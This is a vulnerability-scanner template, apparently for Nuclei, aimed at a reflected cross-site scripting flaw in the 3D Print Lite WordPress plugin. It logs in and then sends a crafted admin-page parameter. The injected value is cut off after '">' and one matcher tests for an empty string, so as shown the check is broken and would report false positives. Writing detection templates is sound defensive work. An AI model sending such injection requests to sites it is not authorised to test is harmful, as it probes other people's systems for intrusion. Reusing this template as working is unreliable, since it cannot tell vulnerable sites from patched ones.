id: 3d-print-lite-xss
info:
name: 3D Print Lite < 1.9.1.6 - Reflected Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
The plugin does not sanitise and escape some user input before outputting it back in attributes, leading to Reflected Cross-Site Scripting issues
remediation: Update to plugin version 1.9.1.6 or latest
reference:
- https://wpscan.com/vulnerability/5909e225-5756-472e-a2fc-3ac52c7fb909
- https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-3dprint-lite-cross-site-scripting-1-9-1-5/
metadata:
verified: "true"
tags: 3dprint,lite,authenticated,wpscan,xss,wordpress,wp-plugin,wp
requests:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=p3dlite_materials&material_text="> HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(content_type_2, "text/html")'
- 'contains(body_2, "")'
- 'contains(body_2, "3dprint-lite_page_p3dlite_materials")'
condition: and